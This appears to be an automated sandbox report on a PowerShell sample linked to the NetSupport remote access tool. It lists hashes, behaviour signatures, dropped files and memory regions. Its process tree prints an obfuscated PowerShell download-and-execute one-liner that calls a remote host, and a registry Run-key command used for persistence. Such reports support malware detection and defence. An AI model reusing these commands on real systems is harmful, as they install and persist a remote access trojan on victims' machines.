Analysis

  • max time kernel
    1552s
  • max time network
    1756s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2023, 17:14

General

  • Target

    rt.php.ps1

  • Size

    2.8MB

  • MD5

    03c9a474f0b9196157fec9c94fdca125

  • SHA1

    07ae811458835b8f163dbefdbaf29c1c2a190481

  • SHA256

    8347464802fc276d09848d28162f8802566f8795a07521c535c693fdfdaa4c3d

  • SHA512

    5227fa992f634c5263c3d32ca0a03c08e0532ebc8d81ddf11376ed5d19c0aa8a1ca9818ea94a60f2e94edfee7d3db0d54151ce11e9095333514b36264dda2664

  • SSDEEP

    49152:0iwXDQWRnrRmKulfXDJZZH1ebFgUbqYgXE5BQkGrD:5

Malware Config

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\rt.php.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias rzs $([char]105+[char]110+[char]118+[char]111+[char]107+[char]101+[char]45+[char]101+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110);$global:block=(New-Object $([char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]78+[char]101+[char]116+[char]46+[char]87+[char]101+[char]98+[char]67+[char]108+[char]105+[char]101+[char]110+[char]116) ).($([char]68+[char]111+[char]119+[char]110+[char]108+[char]111+[char]97+[char]100+[char]83+[char]116+[char]114+[char]105+[char]110+[char]103) )($([char]104+[char]116+[char]116+[char]112+[char]58+[char]47+[char]47+[char]100+[char]122+[char]55+[char]101+[char]103+[char]46+[char]116+[char]111+[char]112+[char]47+[char]53+[char]49+[char]53+[char]47+[char]115+[char]100+[char]102+[char]122+[char]119+[char]46+[char]112+[char]104+[char]112+[char]63+[char]105+[char]61) +$(hostname));rzs $global:block
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3384
      • C:\Windows\system32\HOSTNAME.EXE
        "C:\Windows\system32\HOSTNAME.EXE"
        3⤵
          PID:2772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name ExpirienceHost -Value ""C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\whost.exe""
        2⤵
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3932
    • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\whost.exe
      C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\whost.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4012

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            2f57fde6b33e89a63cf0dfdd6e60a351

            SHA1

            445bf1b07223a04f8a159581a3d37d630273010f

            SHA256

            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

            SHA512

            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            75b4b2eecda41cec059c973abb1114c0

            SHA1

            11dadf4817ead21b0340ce529ee9bbd7f0422668

            SHA256

            5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134

            SHA512

            87feaf17bd331ed6afd9079fefb1d8f5d3911ababf8ea7542be16c946301a7172a5dc46d249b2192376957468d75bf1c99752529ca77ec0aa78a8d054b3a6626

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            d6ca57a0b3d565156f3c053e1c0743b6

            SHA1

            bf9251134a1e54956fd943969588382917d7b2f6

            SHA256

            35f9a5113cfed3fe3df6f0d5ef92c573e70d4aadc61b556973974d3f90d0b855

            SHA512

            aa891c80594b815e065601891656cef0996a1f8507dadec3381b33cb479a5921877b94da08b88dba6b7b2b6e9628458b592969cd2e4d36ad295264244fe5790d

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puvg0ve5.tfy.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\HTCTL32.DLL

            Filesize

            320KB

            MD5

            2d3b207c8a48148296156e5725426c7f

            SHA1

            ad464eb7cf5c19c8a443ab5b590440b32dbc618f

            SHA256

            edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

            SHA512

            55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\HTCTL32.DLL

            Filesize

            320KB

            MD5

            2d3b207c8a48148296156e5725426c7f

            SHA1

            ad464eb7cf5c19c8a443ab5b590440b32dbc618f

            SHA256

            edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

            SHA512

            55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\MSVCR100.dll

            Filesize

            755KB

            MD5

            0e37fbfa79d349d672456923ec5fbbe3

            SHA1

            4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

            SHA256

            8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

            SHA512

            2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\NSM.LIC

            Filesize

            257B

            MD5

            390c964070626a64888d385c514f568e

            SHA1

            a556209655dcb5e939fd404f57d199f2bb6da9b3

            SHA256

            ad0d05305fdeb3736c1e8d49c3a6746073d27b4703eb6de6589bdc4aa72d7b54

            SHA512

            f089c59a24f33410cf98fba7ea0dd2ca0fd997efc9a03e5355cde3c1a1f4a78b13cebd387099b9de824bffea01c489d8f0e90df56f89973007dabb6afdde607f

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\PCICHEK.DLL

            Filesize

            18KB

            MD5

            a0b9388c5f18e27266a31f8c5765b263

            SHA1

            906f7e94f841d464d4da144f7c858fa2160e36db

            SHA256

            313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

            SHA512

            6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\PCICL32.DLL

            Filesize

            3.6MB

            MD5

            00587238d16012152c2e951a087f2cc9

            SHA1

            c4e27a43075ce993ff6bb033360af386b2fc58ff

            SHA256

            63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

            SHA512

            637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\PCICL32.dll

            Filesize

            3.6MB

            MD5

            00587238d16012152c2e951a087f2cc9

            SHA1

            c4e27a43075ce993ff6bb033360af386b2fc58ff

            SHA256

            63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

            SHA512

            637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\client32.ini

            Filesize

            910B

            MD5

            5d2b788f10e973fce372fa2e4ececd4e

            SHA1

            40cc5404b896dd6ed657bba39ffdb6d63f45e9a1

            SHA256

            483b4c008ab680dd0958f5f09c55d6dc35f90fca1c3835fb864a1e8fcb598475

            SHA512

            168c7d962ab5b813e426eca03fd718c05a34d393b2fd79b3685fdcb408ae29399c4b6de8decfa893f039eb871425579cffdbf55465830a7801c065491c95ba20

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\msvcr100.dll

            Filesize

            755KB

            MD5

            0e37fbfa79d349d672456923ec5fbbe3

            SHA1

            4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

            SHA256

            8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

            SHA512

            2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\pcicapi.dll

            Filesize

            32KB

            MD5

            dcde2248d19c778a41aa165866dd52d0

            SHA1

            7ec84be84fe23f0b0093b647538737e1f19ebb03

            SHA256

            9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

            SHA512

            c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\pcicapi.dll

            Filesize

            32KB

            MD5

            dcde2248d19c778a41aa165866dd52d0

            SHA1

            7ec84be84fe23f0b0093b647538737e1f19ebb03

            SHA256

            9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

            SHA512

            c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\pcichek.dll

            Filesize

            18KB

            MD5

            a0b9388c5f18e27266a31f8c5765b263

            SHA1

            906f7e94f841d464d4da144f7c858fa2160e36db

            SHA256

            313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

            SHA512

            6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\whost.exe

            Filesize

            117KB

            MD5

            c0eb3eac96511077dafc0afa64c6388c

            SHA1

            33e81f25493eda3bbf0b7cdcddd523547fa6c31e

            SHA256

            eec4f18f3655f7eab0c08783ad42d2b3ce3ef21ecad7394e165f11acdb41c42a

            SHA512

            2632bef55323d9a272e1519e2b2792527d28cbd9fe6a9f9d253e5729978be0de6f36b8e3b2acee70449ba22a33efb41c82c82afe19dad14698b3ada0006ca7fc

          • C:\Users\Admin\AppData\Roaming\34dW5imkHZMP\whost.exe

            Filesize

            117KB

            MD5

            c0eb3eac96511077dafc0afa64c6388c

            SHA1

            33e81f25493eda3bbf0b7cdcddd523547fa6c31e

            SHA256

            eec4f18f3655f7eab0c08783ad42d2b3ce3ef21ecad7394e165f11acdb41c42a

            SHA512

            2632bef55323d9a272e1519e2b2792527d28cbd9fe6a9f9d253e5729978be0de6f36b8e3b2acee70449ba22a33efb41c82c82afe19dad14698b3ada0006ca7fc

          • memory/1908-161-0x000001B75F2A0000-0x000001B75F2B2000-memory.dmp

            Filesize

            72KB

          • memory/1908-160-0x000001B75EF10000-0x000001B75EF1A000-memory.dmp

            Filesize

            40KB

          • memory/1908-145-0x000001B745C00000-0x000001B745C10000-memory.dmp

            Filesize

            64KB

          • memory/1908-144-0x000001B745C00000-0x000001B745C10000-memory.dmp

            Filesize

            64KB

          • memory/1908-143-0x000001B745C00000-0x000001B745C10000-memory.dmp

            Filesize

            64KB

          • memory/1908-141-0x000001B75E2D0000-0x000001B75E2F2000-memory.dmp

            Filesize

            136KB

          • memory/3384-156-0x000001379F770000-0x000001379F780000-memory.dmp

            Filesize

            64KB

          • memory/3384-155-0x000001379F770000-0x000001379F780000-memory.dmp

            Filesize

            64KB